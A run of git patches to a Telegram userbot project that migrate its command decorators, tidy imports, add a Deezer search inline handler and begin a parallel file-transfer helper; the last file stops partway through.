virtualuserbot/modules/welcome.py | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 5758f473..1e3bbf5b 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,8 +1,8 @@ from telethon import events from telethon.utils import pack_bot_file_id - -from virtualuserbot import CMD_HELP -from virtualuserbot.modules.sql_helper.welcome_sql import ( +from fridaybot.utils import friday_on_cmd +from fridaybot import CMD_HELP +from fridaybot.modules.sql_helper.welcome_sql import ( add_welcome_setting, get_current_welcome_settings, rm_welcome_setting, @@ -64,7 +64,7 @@ async def _(event): update_previous_welcome(event.chat_id, current_message.id) -@command(pattern="^.savewelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="savewelcome")) async def _(event): if event.fwd_from: return @@ -79,7 +79,7 @@ async def _(event): await event.edit("Welcome note saved. ") -@command(pattern="^.clearwelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="clearwelcome$")) # pylint:disable=E0602 async def _(event): if event.fwd_from: return @@ -91,7 +91,7 @@ async def _(event): ) -@command(pattern="^.listwelcome") # pylint:disable=E0602 +@friday.on(friday_on_cmd(pattern="listwelcome$")) # pylint:disable=E0602 async def _(event): if event.fwd_from: return From 34be37a7b2063ec052893d1c136ec5f0f01b74f9 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:26:20 +0000 Subject: [PATCH 760/838] pylint: auto fixes --- virtualuserbot/modules/labstack.py | 7 +++++-- virtualuserbot/modules/welcome.py | 6 +++--- 2 files changed, 8 insertions(+), 5 deletions(-) diff --git a/virtualuserbot/modules/labstack.py b/virtualuserbot/modules/labstack.py index 60f1358b..db261e5b 100644 --- a/virtualuserbot/modules/labstack.py +++ b/virtualuserbot/modules/labstack.py @@ -9,11 +9,14 @@ # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. +import json import os import subprocess -from virtualuserbot.utils import admin_cmd + import requests -import json + +from virtualuserbot.utils import admin_cmd + @friday.on(admin_cmd(pattern="labstack ?(.*)")) async def labstack(event): diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 1e3bbf5b..197bc7ae 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,6 +1,3 @@ -from telethon import events -from telethon.utils import pack_bot_file_id -from fridaybot.utils import friday_on_cmd from fridaybot import CMD_HELP from fridaybot.modules.sql_helper.welcome_sql import ( add_welcome_setting, @@ -8,6 +5,9 @@ rm_welcome_setting, update_previous_welcome, ) +from fridaybot.utils import friday_on_cmd +from telethon import events +from telethon.utils import pack_bot_file_id @bot.on(events.ChatAction()) # pylint:disable=E0602 From 68ab0b4d6e7b9614efe1b9e7baff570eccc553a5 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:57:26 +0530 Subject: [PATCH 761/838] Update welcome.py --- virtualuserbot/modules/welcome.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 197bc7ae..09218cff 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,11 +1,11 @@ -from fridaybot import CMD_HELP -from fridaybot.modules.sql_helper.welcome_sql import ( +from virtualuserbot import CMD_HELP +from virtualuserbot.modules.sql_helper.welcome_sql import ( add_welcome_setting, get_current_welcome_settings, rm_welcome_setting, update_previous_welcome, ) -from fridaybot.utils import friday_on_cmd +from virtualuserbot.utils import friday_on_cmd from telethon import events from telethon.utils import pack_bot_file_id From d7b5504aa6e6f26fb4733959b4d6087ba89907e1 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:28:21 +0000 Subject: [PATCH 762/838] pylint: auto fixes --- virtualuserbot/modules/welcome.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/welcome.py b/virtualuserbot/modules/welcome.py index 09218cff..4d19c55b 100644 --- a/virtualuserbot/modules/welcome.py +++ b/virtualuserbot/modules/welcome.py @@ -1,3 +1,6 @@ +from telethon import events +from telethon.utils import pack_bot_file_id + from virtualuserbot import CMD_HELP from virtualuserbot.modules.sql_helper.welcome_sql import ( add_welcome_setting, @@ -6,8 +9,6 @@ update_previous_welcome, ) from virtualuserbot.utils import friday_on_cmd -from telethon import events -from telethon.utils import pack_bot_file_id @bot.on(events.ChatAction()) # pylint:disable=E0602 From 37c0544d242c49b66710cb2b235a6717da0c6d8b Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Tue, 26 Jan 2021 23:58:40 +0530 Subject: [PATCH 763/838] Update exec.py --- virtualuserbot/modules/exec.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/virtualuserbot/modules/exec.py b/virtualuserbot/modules/exec.py index 07b15361..60e6252a 100644 --- a/virtualuserbot/modules/exec.py +++ b/virtualuserbot/modules/exec.py @@ -2,8 +2,11 @@ import sys import traceback +from virtualuserbot.utils import friday_on_cmd -@command(pattern="^.exec") + + +@friday.on(friday_on_cmd(pattern="exec")) async def _(event): if event.fwd_from: return From b9ea726fb486cfccf7f27f62442118342ced4ed4 Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:29:27 +0000 Subject: [PATCH 764/838] pylint: auto fixes --- virtualuserbot/modules/exec.py | 1 - 1 file changed, 1 deletion(-) diff --git a/virtualuserbot/modules/exec.py b/virtualuserbot/modules/exec.py index 60e6252a..417e800b 100644 --- a/virtualuserbot/modules/exec.py +++ b/virtualuserbot/modules/exec.py @@ -5,7 +5,6 @@ from virtualuserbot.utils import friday_on_cmd - @friday.on(friday_on_cmd(pattern="exec")) async def _(event): if event.fwd_from: From d124ccf6d2fc47ed397a1e667305d59bcf58d9f2 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:00:34 +0530 Subject: [PATCH 765/838] Update owm.py --- virtualuserbot/modules/owm.py | 10 ++++------ 1 file changed, 4 insertions(+), 6 deletions(-) diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index e21cc697..54746099 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -12,7 +12,7 @@ from pytz import country_names as c_n from pytz import country_timezones as c_tz from pytz import timezone as tz - +from virtualuserbot.utils import friday_on_cmd from virtualuserbot import CMD_HELP from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API from virtualuserbot.events import errors_handler, register @@ -35,8 +35,7 @@ async def get_tz(con): return -@register(outgoing=True, pattern="^.weather(?: |$)(.*)") -@errors_handler +@friday.on(friday_on_cmd(pattern="weather(?: |$)(.*)")) async def get_weather(weather): """ For .weather command, gets the current weather of a city. """ @@ -138,10 +137,9 @@ def sun(unix): ) -@register(outgoing=True, pattern="^.setcity(?: |$)(.*)") -@errors_handler +@friday.on(friday_on_cmd(pattern="setcity(?: |$)(.*)")) async def set_default_city(city): - """ For .ctime command, change the default virtualuserbot country for date and time commands. """ + """ For .ctime command, change the default fridaybot country for date and time commands. """ if not OWM_API: await city.edit("`Get an API key from` https://openweathermap.org/ `first.`") From 9ed9ca657f6587c445f531ddf08ef0f2ef95b766 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:01:44 +0530 Subject: [PATCH 766/838] Update carbon.py --- virtualuserbot/modules/carbon.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index aa09e292..84944375 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -13,7 +13,7 @@ from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys - +from virtualuserbot.utils import friday_on_cmd from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN from virtualuserbot.utils import register @@ -21,7 +21,7 @@ LANG = "en" -@register(outgoing=True, pattern="^.carbon") +@friday.on(friday_on_cmd(pattern="carbon")) async def carbon_api(e): if not e.text[0].isalpha() and e.text[0] not in ("/", "#", "@", "!"): From bcf6bb84c6c424a25396a0533c3a1fb10d1e9855 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:02:55 +0530 Subject: [PATCH 767/838] Update reverseimg.py --- virtualuserbot/modules/reverseimg.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index 825003f6..e753fda0 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -16,7 +16,7 @@ from bs4 import BeautifulSoup from PIL import Image -from virtualuserbot import CMD_HELP, bot +from virtualuserbot import CMD_HELP, bot, friday_on_cmd from virtualuserbot.utils import errors_handler, register opener = urllib.request.build_opener() @@ -24,7 +24,7 @@ opener.addheaders = [("User-agent", useragent)] -@register(outgoing=True, pattern=r"^.reverse(?: |$)(\d*)") +@friday.on(friday_on_cmd(pattern=r"reverse(?: |$)(\d*)")) @errors_handler async def okgoogle(img): """ For .reverse command, Google search images and stickers. """ From 020ebf61038ba14981c2cd81b20bf573c965688a Mon Sep 17 00:00:00 2001 From: inukaasith Date: Tue, 26 Jan 2021 18:34:11 +0000 Subject: [PATCH 768/838] SeD Replacer --- virtualuserbot/modules/owm.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index 54746099..9e0f142b 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -139,7 +139,7 @@ def sun(unix): @friday.on(friday_on_cmd(pattern="setcity(?: |$)(.*)")) async def set_default_city(city): - """ For .ctime command, change the default fridaybot country for date and time commands. """ + """ For .ctime command, change the default virtualuserbot country for date and time commands. """ if not OWM_API: await city.edit("`Get an API key from` https://openweathermap.org/ `first.`") From d1caabc603d4104e8ab845021368e9e6c2d515e1 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:04:54 +0530 Subject: [PATCH 769/838] Update upload_dl.py --- virtualuserbot/modules/upload_dl.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 67c938c3..1f6cc444 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -104,7 +104,7 @@ async def download(target_file): await friday.edit("Reply to a message to download to my local server.") -@register(pattern=r".uploadir (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"uploadir (.*)")) async def uploadir(udir_event): """ For .uploadir command, allows you to upload everything from a folder in the server""" input_str = udir_event.pattern_match.group(1) @@ -190,7 +190,7 @@ async def uploadir(udir_event): await udir_event.edit("404: Directory Not Found") -@register(pattern=r".upload (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"upload (.*)")) async def upload(u_event): """ For .upload command, allows you to upload a file from the VirtualUserbot's server """ await u_event.edit("Processing ...") @@ -266,7 +266,7 @@ def extract_w_h(file): return width, height -@register(pattern=r".uploadas(stream|vn|all) (.*)", outgoing=True) +@friday.on(friday_on_cmd(pattern=r"uploadas(stream|vn|all) (.*)")) async def uploadas(uas_event): """ For .uploadas command, allows you to specify some arguments for upload. """ await uas_event.edit("Processing ...") From f329a5f5619ced85c75c05f8339cbb381cae4b29 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:05:49 +0530 Subject: [PATCH 770/838] Update direct_links.py --- virtualuserbot/modules/direct_links.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index 5760fdc1..1b0e1390 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -11,6 +11,7 @@ from random import choice from subprocess import PIPE, Popen +from virtualuserbot.utils import friday_on_cmd import requests from bs4 import BeautifulSoup from humanize import naturalsize @@ -42,7 +43,7 @@ def subprocess_run(cmd): return talk -@register(outgoing=True, pattern=r"^\.direct(?: |$)([\s\S]*)") +@friday.on(friday_on_cmd(pattern=r"direct(?: |$)([\s\S]*)")) async def direct_link_generator(request): """ direct links generator """ await request.edit("`Processing...`") From fefece998083f96ba2705678e4d49ca3771027ac Mon Sep 17 00:00:00 2001 From: InukaAsith Date: Tue, 26 Jan 2021 18:36:33 +0000 Subject: [PATCH 771/838] pylint: auto fixes --- virtualuserbot/modules/carbon.py | 4 ++-- virtualuserbot/modules/direct_links.py | 3 +-- virtualuserbot/modules/owm.py | 4 ++-- virtualuserbot/modules/reverseimg.py | 2 +- virtualuserbot/modules/upload_dl.py | 1 - 5 files changed, 6 insertions(+), 8 deletions(-) diff --git a/virtualuserbot/modules/carbon.py b/virtualuserbot/modules/carbon.py index 84944375..0dbafe3b 100644 --- a/virtualuserbot/modules/carbon.py +++ b/virtualuserbot/modules/carbon.py @@ -13,9 +13,9 @@ from selenium import webdriver from selenium.webdriver.chrome.options import Options from selenium.webdriver.common.keys import Keys -from virtualuserbot.utils import friday_on_cmd + from virtualuserbot import CHROME_DRIVER, CMD_HELP, GOOGLE_CHROME_BIN -from virtualuserbot.utils import register +from virtualuserbot.utils import friday_on_cmd CARBONLANG = "auto" LANG = "en" diff --git a/virtualuserbot/modules/direct_links.py b/virtualuserbot/modules/direct_links.py index 1b0e1390..ff57e4ba 100644 --- a/virtualuserbot/modules/direct_links.py +++ b/virtualuserbot/modules/direct_links.py @@ -11,13 +11,12 @@ from random import choice from subprocess import PIPE, Popen -from virtualuserbot.utils import friday_on_cmd import requests from bs4 import BeautifulSoup from humanize import naturalsize from virtualuserbot import CMD_HELP -from virtualuserbot.events import register +from virtualuserbot.utils import friday_on_cmd def subprocess_run(cmd): diff --git a/virtualuserbot/modules/owm.py b/virtualuserbot/modules/owm.py index 9e0f142b..58742511 100644 --- a/virtualuserbot/modules/owm.py +++ b/virtualuserbot/modules/owm.py @@ -12,10 +12,10 @@ from pytz import country_names as c_n from pytz import country_timezones as c_tz from pytz import timezone as tz -from virtualuserbot.utils import friday_on_cmd + from virtualuserbot import CMD_HELP from virtualuserbot import OPEN_WEATHER_MAP_APPID as OWM_API -from virtualuserbot.events import errors_handler, register +from virtualuserbot.utils import friday_on_cmd # ===== CONSTANT ===== DEFCITY = "Ahmedabad" diff --git a/virtualuserbot/modules/reverseimg.py b/virtualuserbot/modules/reverseimg.py index e753fda0..91d23f89 100644 --- a/virtualuserbot/modules/reverseimg.py +++ b/virtualuserbot/modules/reverseimg.py @@ -17,7 +17,7 @@ from PIL import Image from virtualuserbot import CMD_HELP, bot, friday_on_cmd -from virtualuserbot.utils import errors_handler, register +from virtualuserbot.utils import errors_handler opener = urllib.request.build_opener() useragent = "Mozilla/5.0 (Linux; Android 9; SM-G960F Build/PPR1.180610.011; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/74.0.3729.157 Mobile Safari/537.36" diff --git a/virtualuserbot/modules/upload_dl.py b/virtualuserbot/modules/upload_dl.py index 1f6cc444..0e23e8cc 100644 --- a/virtualuserbot/modules/upload_dl.py +++ b/virtualuserbot/modules/upload_dl.py @@ -14,7 +14,6 @@ from telethon.tl.types import DocumentAttributeVideo from virtualuserbot import CMD_HELP, LOGS, TEMP_DOWNLOAD_DIRECTORY -from virtualuserbot.events import register from virtualuserbot.utils import edit_or_reply, friday_on_cmd, sudo_cmd From e6a42c1d35cefd0750284d62651a3cf54ad5480d Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:08:01 +0530 Subject: [PATCH 772/838] Update requirements.txt --- requirements.txt | 2 ++ 1 file changed, 2 insertions(+) diff --git a/requirements.txt b/requirements.txt index 807c967d..4f99385c 100644 --- a/requirements.txt +++ b/requirements.txt @@ -2,6 +2,8 @@ Pillow google-trans-new cryptg nospamplus +deethon +deezloader pymediainfo quote python-magic From f055f9147782af6063b7a8cd4979e729fd8c5a5e Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:10:20 +0530 Subject: [PATCH 773/838] Update pmpermit.py --- virtualuserbot/modules/pmpermit.py | 76 ++++++++++++------------------ 1 file changed, 29 insertions(+), 47 deletions(-) diff --git a/virtualuserbot/modules/pmpermit.py b/virtualuserbot/modules/pmpermit.py index eb3cefac..d6a0b067 100644 --- a/virtualuserbot/modules/pmpermit.py +++ b/virtualuserbot/modules/pmpermit.py @@ -43,9 +43,7 @@ f"`My Master {DEFAULTUSER} is Busy Right Now !` \n" "**I Request You To Choose A Reason You Have Came For** 👀 \n\n" f"**{CUSTOM_MIDDLE_PMP}**" -) -if Var.PRIVATE_GROUP_ID is not None: - +)if PM_ON_OFF != "DISABLE": @borg.on(events.NewMessage(outgoing=True)) async def auto_approve_for_out_going(event): if event.fwd_from: @@ -66,21 +64,17 @@ async def auto_approve_for_out_going(event): if not pmpermit_sql.is_approved(event.chat_id): if not event.chat_id in PM_WARNS: pmpermit_sql.approve(event.chat_id, "outgoing") - bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format( - first_name, event.chat_id - ) + bruh = "AutoApproved [{}](tg://user?id={}) Due To Out Going Message !".format(first_name, event.chat_id) rko = await borg.send_message(event.chat_id, bruh) await asyncio.sleep(3) - await rko.delete() + await rko.delete() @borg.on(friday_on_cmd(pattern="(a|approve)$")) async def approve(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client( - GetFullUserRequest(await event.get_input_chat()) - ) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name if not pmpermit_sql.is_approved(event.chat_id): if event.chat_id in PM_WARNS: @@ -90,50 +84,42 @@ async def approve(event): del PREV_REPLY_MESSAGE[event.chat_id] pmpermit_sql.approve(event.chat_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format( - firstname, event.chat_id - ) + "Approved to pm [{}](tg://user?id={})".format(firstname, event.chat_id) ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(event.chat_id): - sed = await event.edit("`This User Already Approved.`") + sed = await event.edit('`This User Already Approved.`') await asyncio.sleep(3) await sed.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit("`Reply To User To Approve Him !`") + await event.edit('`Reply To User To Approve Him !`') return if not pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.approve(reply_s.sender_id, "Approved Another Nibba") await event.edit( - "Approved to pm [{}](tg://user?id={})".format( - firstname, reply_s.sender_id + "Approved to pm [{}](tg://user?id={})".format(firstname, reply_s.sender_id) ) - ) await asyncio.sleep(3) await event.delete() elif pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit("`User Already Approved !`") + await event.edit('`User Already Approved !`') await event.delete() - + @borg.on(friday_on_cmd(pattern="block$")) async def approve_p_m(event): if event.fwd_from: return - replied_user = await event.client( - GetFullUserRequest(await event.get_input_chat()) - ) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name if event.is_private: if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) - await event.edit( - "Blocked [{}](tg://user?id={})".format(firstname, event.chat_id) - ) + await event.edit("Blocked [{}](tg://user?id={})".format(firstname, event.chat_id)) await borg(functions.contacts.BlockRequest(event.chat_id)) @borg.on(friday_on_cmd(pattern="(da|disapprove)$")) @@ -141,45 +127,38 @@ async def dapprove(event): if event.fwd_from: return if event.is_private: - replied_user = await event.client( - GetFullUserRequest(await event.get_input_chat()) - ) + replied_user = await event.client(GetFullUserRequest(await event.get_input_chat())) firstname = replied_user.user.first_name if pmpermit_sql.is_approved(event.chat_id): pmpermit_sql.disapprove(event.chat_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format( - firstname, event.chat_id - ) + "Disapproved User [{}](tg://user?id={})".format(firstname, event.chat_id) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(event.chat_id): - led = await event.edit( - "`This User Is Not Even Approved To Disapprove !`" - ) + led = await event.edit("`This User Is Not Even Approved To Disapprove !`") await asyncio.sleep(3) await led.delete() elif event.is_group: reply_s = await event.get_reply_message() if not reply_s: - await event.edit("`Reply To User To DisApprove Him !`") + await event.edit('`Reply To User To DisApprove Him !`') return if pmpermit_sql.is_approved(reply_s.sender_id): replied_user = await event.client(GetFullUserRequest(reply_s.sender_id)) firstname = replied_user.user.first_name pmpermit_sql.disapprove(reply_s.sender_id) await event.edit( - "Disapproved User [{}](tg://user?id={})".format( - firstname, reply_s.sender_id - ) + "Disapproved User [{}](tg://user?id={})".format(firstname, reply_s.sender_id) ) await asyncio.sleep(3) await event.delete() elif not pmpermit_sql.is_approved(reply_s.sender_id): - await event.edit("`User Even Not Approved !`") - await event.delete() - + await event.edit('`User Even Not Approved !`') + await event.delete() + + @borg.on(friday_on_cmd(pattern="listapproved$")) async def approve_p_m(event): if event.fwd_from: @@ -216,9 +195,7 @@ async def on_new_private_message(event): if event.sender_id == bot.uid: return if Var.PRIVATE_GROUP_ID is None: - await borg.send_message( - bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit" - ) + await borg.send_message(bot.uid, "Please Set `PRIVATE_GROUP_ID` For Working Of Pm Permit") return if not event.is_private: return @@ -226,7 +203,12 @@ async def on_new_private_message(event): chat_ids = event.sender_id if USER_BOT_NO_WARN == message_text: return - sender = await event.client(GetFullUserRequest(chat_ids)) + # low Level Hacks + if event.sender_id == event.chat_id: + pass + else: + return + sender = await event.client(GetFullUserRequest(await event.get_input_chat())) if chat_ids == bot.uid: return if sender.user.bot: @@ -241,7 +223,7 @@ async def on_new_private_message(event): return if not pmpermit_sql.is_approved(chat_ids): await do_pm_permit_action(chat_ids, event) - + async def do_pm_permit_action(chat_ids, event): if chat_ids not in PM_WARNS: PM_WARNS.update({chat_ids: 0}) From be418b5a18d1f95a71ca757f281e1a7996338a45 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:14:16 +0530 Subject: [PATCH 774/838] Update _inlinebot.py --- virtualuserbot/modules/_inlinebot.py | 53 ++++++++++++++++++++++++---- 1 file changed, 46 insertions(+), 7 deletions(-) diff --git a/virtualuserbot/modules/_inlinebot.py b/virtualuserbot/modules/_inlinebot.py index 1e47a55d..9be65cf2 100644 --- a/virtualuserbot/modules/_inlinebot.py +++ b/virtualuserbot/modules/_inlinebot.py @@ -1,19 +1,21 @@ import os import re import urllib +import json from math import ceil from re import findall +from youtube_search import YoutubeSearch +from search_engine_parser import GoogleSearch +from virtualuserbot.function import _ytdl, fetch_json from urllib.parse import quote - import requests -from pornhub_api import PornhubApi -from search_engine_parser import GoogleSearch from telethon import Button, custom, events, functions -from youtube_search import YoutubeSearch - -from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST, lang -from virtualuserbot.function import _ytdl +from youtubesearchpython import VideosSearch +from virtualuserbot import ALIVE_NAME, CMD_HELP, CMD_LIST from virtualuserbot.modules import inlinestats +from pornhub_api import PornhubApi +from telethon.tl.types import BotInlineResult, InputBotInlineMessageMediaAuto, DocumentAttributeImageSize, InputWebDocument, InputBotInlineResult +from telethon.tl.functions.messages import SetInlineBotResultsRequest PMPERMIT_PIC = os.environ.get("PMPERMIT_PIC", None) if PMPERMIT_PIC is None: @@ -859,3 +861,40 @@ async def inline_id_handler(event: events.InlineQuery.Event): else: resultm = builder.article(title="- No Results :/ -", text=f"No Results Found !") await event.answer([resultm]) + + +@tgbot.on(events.InlineQuery(pattern=r"deezer ?(.*)")) +async def inline_id_handler(event): + builder = event.builder + if event.query.user_id != bot.uid: + resultm = builder.article( + title="- Not Allowded -", + text=f"You Can't Use This Bot. \nDeploy Friday To Get Your Own Assistant, Repo Link [Here](https://github.com/StarkGang/FridayUserbot)", + ) + await event.answer([resultm]) + return + results = [] + input_str = event.pattern_match.group(1) + link = f"https://api.deezer.com/search?q={input_str}&limit=7" + dato = requests.get(url=link).json() + #data_s = json.loads(data_s) + for match in dato.get("data"): + hmm_m = (f"Title : {match['title']} \nLink : {match['link']} \nDuration : {match['duration']} seconds \nBy : {match['artist']['name']}") + results.append( + await event.builder.article( + title=match["title"], + text=hmm_m, + description=f"Artist: {match['artist']['name']}\nAlbum: {match['album']['title']}", + thumb=InputWebDocument( + url=match["album"]["cover_medium"], + size=0, + mime_type="image/jpeg", + attributes=[], + ), + ), + ) + if results: + try: + await event.answer(results) + except TypeError: + pass From 53cc7cd9deb9f006a3320a71fb1bf0ba299d40b3 Mon Sep 17 00:00:00 2001 From: Inuka ASiTH Date: Wed, 27 Jan 2021 00:15:54 +0530 Subject: [PATCH 775/838] Create FastTelethon.py --- virtualuserbot/function/FastTelethon.py | 301 ++++++++++++++++++++++++ 1 file changed, 301 insertions(+) create mode 100644 virtualuserbot/function/FastTelethon.py diff --git a/virtualuserbot/function/FastTelethon.py b/virtualuserbot/function/FastTelethon.py new file mode 100644 index 00000000..098f6644 --- /dev/null +++ b/virtualuserbot/function/FastTelethon.py @@ -0,0 +1,301 @@ +""" +> Based on parallel_file_transfer.py from mautrix-telegram, with permission to distribute under the MIT license +> Copyright (C) 2019 Tulir Asokan - https://github.com/tulir/mautrix-telegram +""" +import asyncio +import hashlib +import inspect +import logging +import os +from collections import defaultdict +from typing import Optional, List, AsyncGenerator, Union, Awaitable, DefaultDict, Tuple, BinaryIO + +import math +from telethon import utils, helpers, TelegramClient +from telethon.crypto import AuthKey +from telethon.network import MTProtoSender +from telethon.tl.functions.auth import ExportAuthorizationRequest, ImportAuthorizationRequest +from telethon.tl.functions.upload import (GetFileRequest, SaveFilePartRequest, + SaveBigFilePartRequest) +from telethon.tl.types import (Document, InputFileLocation, InputDocumentFileLocation, + InputPhotoFileLocation, InputPeerPhotoFileLocation, TypeInputFile, + InputFileBig, InputFile) + +log: logging.Logger = logging.getLogger("telethon") +logging.basicConfig(level=logging.WARNING) +TypeLocation = Union[Document, InputDocumentFileLocation, InputPeerPhotoFileLocation, + InputFileLocation, InputPhotoFileLocation] + + +def stream_file(file_to_stream: BinaryIO, chunk_size=1024): + while True: + data_read = file_to_stream.read(chunk_size) + if not data_read: + break + yield data_read + + +class DownloadSender: + sender: MTProtoSender + request: GetFileRequest + remaining: int + stride: int + + def __init__(self, sender: MTProtoSender, file: TypeLocation, offset: int, limit: int, + stride: int, count: int) -> None: + self.sender = sender + self.request = GetFileRequest(file, offset=offset, limit=limit) + self.stride = stride + self.remaining = count + + async def next(self) -> Optional[bytes]: + if not self.remaining: + return None + result = await self.sender.send(self.request) + self.remaining -= 1 + self.request.offset += self.stride + return result.bytes + + def disconnect(self) -> Awaitable[None]: + return self.sender.disconnect() + + +class UploadSender: + sender: MTProtoSender + request: Union[SaveFilePartRequest, SaveBigFilePartRequest] + part_count: int + stride: int + previous: Optional[asyncio.Task] + loop: asyncio.AbstractEventLoop + + def __init__(self, sender: MTProtoSender, file_id: int, part_count: int, big: bool, index: int, + stride: int, loop: asyncio.AbstractEventLoop) -> None: + self.sender = sender + self.part_count = part_count + if big: + self.request = SaveBigFilePartRequest(file_id, index, part_count, b"") + else: + self.request = SaveFilePartRequest(file_id, index, b"") + self.stride = stride + self.previous = None + self.loop = loop + + async def next(self, data: bytes) -> None: + if self.previous: + await self.previous + self.previous = self.loop.create_task(self._next(data)) + + async def _next(self, data: bytes) -> None: + self.request.bytes = data + log.debug(f"Sending file part {self.request.file_part}/{self.part_count}" + f" with {len(data)} bytes") + await self.sender.send(self.request) + self.request.file_part += self.stride + + async def disconnect(self) -> None: + if self.previous: + await self.previous + return await self.sender.disconnect() + + +class ParallelTransferrer: + client: TelegramClient + loop: asyncio.AbstractEventLoop + dc_id: int + senders: Optional[List[Union[DownloadSender, UploadSender]]] + auth_key: AuthKey + upload_ticker: int + + def __init__(self, client: TelegramClient, dc_id: Optional[int] = None) -> None: + self.client = client + self.loop = self.client.loop + self.dc_id = dc_id or self.client.session.dc_id + self.auth_key = (None if dc_id and self.client.session.dc_id != dc_id + else self.client.session.auth_key) + self.senders = None + self.upload_ticker = 0 + + async def _cleanup(self) -> None: + await asyncio.gather(*[sender.disconnect() for sender in self.senders]) + self.senders = None + + @staticmethod + def _get_connection_count(file_size: int, max_count: int = 20, + full_size: int = 100 * 1024 * 1024) -> int: + if file_size > full_size: + return max_count + return math.ceil((file_size / full_size) * max_count) + + async def _init_download(self, connections: int, file: TypeLocation, part_count: int, + part_size: int) -> None: + minimum, remainder = divmod(part_count, connections) + + def get_part_count() -> int: + nonlocal remainder + if remainder > 0: + remainder -= 1 + return minimum + 1 + return minimum + + # The first cross-DC sender will export+import the authorization, so we always create it + # before creating any other senders. + self.senders = [ + await self._create_download_sender(file, 0, part_size, connections * part_size, + get_part_count()), + *await asyncio.gather( + *[self._create_download_sender(file, i, part_size, connections * part_size, + get_part_count()) + for i in range(1, connections)]) + ] + + async def _create_download_sender(self, file: TypeLocation, index: int, part_size: int, + stride: int, + part_count: int) -> DownloadSender: + return DownloadSender(await self._create_sender(), file, index * part_size, part_size, + stride, part_count) + + async def _init_upload(self, connections: int, file_id: int, part_count: int, big: bool + ) -> None: + self.senders = [ 